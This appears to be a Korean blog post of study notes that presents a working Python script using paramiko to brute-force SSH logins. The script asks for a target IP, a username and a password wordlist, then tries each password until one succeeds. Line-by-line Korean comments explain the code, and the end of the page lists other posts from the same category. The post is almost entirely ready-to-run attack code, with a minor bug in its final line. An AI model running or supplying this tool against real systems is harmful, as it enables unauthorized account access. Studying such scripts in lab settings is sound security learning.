728x90
import paramiko #ssh 활용
import sys #os를 제어
import os #역시나 os
target = str(input('Please enter target IP address: ')) #타겟 넣는 거고 내 기준 10.10 ....
username = str(input('Please enter username to bruteforce: ')) #ssh_id 넣는 거겠지 다른 페이지에서 추측 가능
password_file = str(input('Please enter location of the password file: ')) # wordlists2
def ssh_connect(password, code=0): #ssh 연결하는 거네 패스워드를 넣고 있어
ssh = paramiko.SSHClient() #파라미코를 이용하여 SSHClient()메서드를 활용하여 연결
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #hot_key들을 받아 저장할 것인지 아닌지 판단
try:
ssh.connect(target, port=22, username=username, password=password)
except paramiko.AuthenticationException:
code = 1
ssh.close()
return code
with open(password_file, 'r') as file: #위에서 입력받았던 패스워드 파일 그대로 이용
for line in file.readlines(): #패스워드 받아서 나누어서 이용
password = line.strip()
try:
response = ssh_connect(password)
if response == 0:
print('password found: '+ password)
exit(0)
elif response == 1: #맞는 패스워드인지 일일이 대입
print('no luck')
except Exception as e:
print(e)
pass
input_file.close()
728x90
'호그와트' 카테고리의 다른 글
거북이가 연 파티 (0) | 2022.11.09 |
---|---|
던던댄스 (1) | 2022.11.09 |
MBR 어셈블리어와 간단한 해석 03 (0) | 2022.11.09 |
MBR 어셈블리어와 간단한 해석 02 (0) | 2022.11.09 |
MBR 어셈블리어와 간단한 해석 01 (0) | 2022.11.09 |